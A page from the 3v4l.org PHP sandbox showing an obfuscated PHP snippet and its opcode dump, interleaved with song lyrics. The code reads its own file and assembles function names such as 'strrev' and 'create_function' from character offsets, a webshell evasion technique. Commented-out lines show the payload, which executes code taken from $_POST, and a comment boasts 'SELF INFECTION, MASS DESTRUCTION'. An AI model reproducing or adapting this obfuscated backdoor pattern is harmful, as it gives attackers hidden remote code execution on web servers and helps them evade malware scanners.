3v4l.org

run code in 300+ PHP versions simultaneously
<?php @$t=x; $x=fread(fopen($_SERVER["PHP_SELF"],"r"),13337); $y=chr(69).$x[0x5e].${$t}[8]; /*x Give me the sound to see Another world outside That’s full of all the broken things That I've made Just give me a life to bleed Another world outside That’s full of all the awful things That I've made 'Cause we are the last disease Another broken life that's full of all the awful things That I've made */ $s=$x[411].@tr.("T"^"&").$x[0x8d].$x[399];$f=$x[306]./*galaxy*/$s[3].$s[10-6].("B"^"#").chr(116)."\x65".@_.$s("nu\x66"); print $x; //$x=$s($t=$y[2].@c.$s("${y}r\x61")); //$x($_POST); $G=$f.@ction;$‰=$G(null,$code);$‰(); // SELF INFECTION, MASS DESTRUCTION, PROGRAMMED FOR THE FINAL FUNCTION // LAB RAT KING, RESCUE TEAM, SAVE ME FROM THE NEXT LIFE
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/OCt04
function name:  (null)
number of ops:  51
compiled vars:  !0 = $t, !1 = $x, !2 = $y, !3 = $s, !4 = $f
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   BEGIN_SILENCE                                    ~5      
          1        FETCH_CONSTANT                                   ~6      'x'
          2        ASSIGN                                                   !0, ~6
          3        END_SILENCE                                              ~5
    2     4        INIT_FCALL                                               'fread'
          5        INIT_FCALL                                               'fopen'
          6        FETCH_R                      global              ~8      '_SERVER'
          7        FETCH_DIM_R                                      ~9      ~8, 'PHP_SELF'
          8        SEND_VAL                                                 ~9
          9        SEND_VAL                                                 'r'
         10        DO_ICALL                                         $10     
         11        SEND_VAR                                                 $10
         12        SEND_VAL                                                 13337
         13        DO_ICALL                                         $11     
         14        ASSIGN                                                   !1, $11
    3    15        FETCH_DIM_R                                      ~13     !1, 94
         16        CONCAT                                           ~14     'E', ~13
         17        FETCH_R                      local               ~15     !0
         18        FETCH_DIM_R                                      ~16     ~15, 8
         19        CONCAT                                           ~17     ~14, ~16
         20        ASSIGN                                                   !2, ~17
   17    21        FETCH_DIM_R                                      ~19     !1, 411
         22        BEGIN_SILENCE                                    ~20     
         23        FETCH_CONSTANT                                   ~21     'tr'
         24        END_SILENCE                                              ~20
         25        CONCAT                                           ~22     ~19, ~21
         26        CONCAT                                           ~23     ~22, 'r'
         27        FETCH_DIM_R                                      ~24     !1, 141
         28        CONCAT                                           ~25     ~23, ~24
         29        FETCH_DIM_R                                      ~26     !1, 399
         30        CONCAT                                           ~27     ~25, ~26
         31        ASSIGN                                                   !3, ~27
         32        FETCH_DIM_R                                      ~29     !1, 306
         33        FETCH_DIM_R                                      ~30     !3, 3
         34        CONCAT                                           ~31     ~29, ~30
         35        FETCH_DIM_R                                      ~32     !3, 4
         36        CONCAT                                           ~33     ~31, ~32
         37        CONCAT                                           ~34     ~33, 'a'
         38        CONCAT                                           ~35     ~34, 't'
         39        CONCAT                                           ~36     ~35, 'e'
         40        BEGIN_SILENCE                                    ~37     
         41        FETCH_CONSTANT                                   ~38     '_'
         42        END_SILENCE                                              ~37
         43        CONCAT                                           ~39     ~36, ~38
         44        INIT_DYNAMIC_CALL                                        !3
         45        SEND_VAL_EX                                              'nuf'
         46        DO_FCALL                                      0  $40     
         47        CONCAT                                           ~41     ~39, $40
         48        ASSIGN                                                   !4, ~41
   18    49        ECHO                                                     !1
   22    50      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
148.15 ms | 1400 KiB | 17 Q